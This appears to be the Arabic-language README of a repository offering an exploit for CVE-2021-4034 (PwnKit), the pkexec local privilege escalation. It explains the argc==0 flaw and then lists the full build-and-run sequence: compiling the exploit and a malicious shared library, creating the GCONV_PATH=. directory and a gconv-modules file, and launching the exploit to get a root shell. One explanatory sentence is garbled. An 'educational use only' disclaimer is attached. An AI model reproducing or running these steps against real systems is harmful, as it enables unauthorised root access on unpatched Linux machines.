
يعرض هذا المستودع كيفية استغلال الثغرة الأمنية CVE-2021-4034.
يحتوي هذا المستودع على الكود المصدري لتوضيح استغلال الثغرة الأمنية CVE-2021-4034، المعروفة أيضًا باسم PwnKit، والتي تم اكتشافها في pkexec (جزء من حزمة Polkit). يسمح هذا العيب بـتصعيد محلي للصلاحيات إلى root من خلال استخدام متغيرات بيئة خبيثة.
يُقدَّم هذا الكود لأغراض تعليمية وبحثية فقط. لا ينبغي استخدامه على أنظمة الإنتاج أو دون إذن صريح. قد يكون الاستخدام غير السليم غير قانوني ويتعارض مع شروط استخدام المؤلف.
تظهر الثغرة عندما يتم تنفيذ pkexec بدون وسائط، أي argc == 0. في هذه الحالة، يحاول pkexec الوصول إلى argv[1] دون التحقق من وجود argv[0]، مما يؤدي إلى القراءة من envp[0]. وهذا يسمح للمهاجم بـ:
GCONV_PATH..so عشوائية لتنفيذ كود بصلاحيات root.يستغل كود الاستغلال هذه الحالة لتحميل مكتبة خبيثة تفتح shell بصلاحيات root.
cve-2021-4034.c: الكود المصدري لكود الاستغلال الذي يستدعي pkexec مع argv[] = {NULL} ومتغيرات بيئة معدلة.pwnkit.c: الكود المصدري للمكتبة الخبيثة التي تفتح shell بصلاحيات root.gcc -Wall -o cve-2021-4034 cve-2021-4034.c
gcc -Wall -shared -fPIC -o pwnkit.so pwnkit.c
mkdir GCONV_PATH=.
echo 'module UTF-8// PWNKIT// pwnkit 1' > gconv-modules
cp $(which true) GCONV_PATH=./pwnkit.so:.
./cve-2021-4034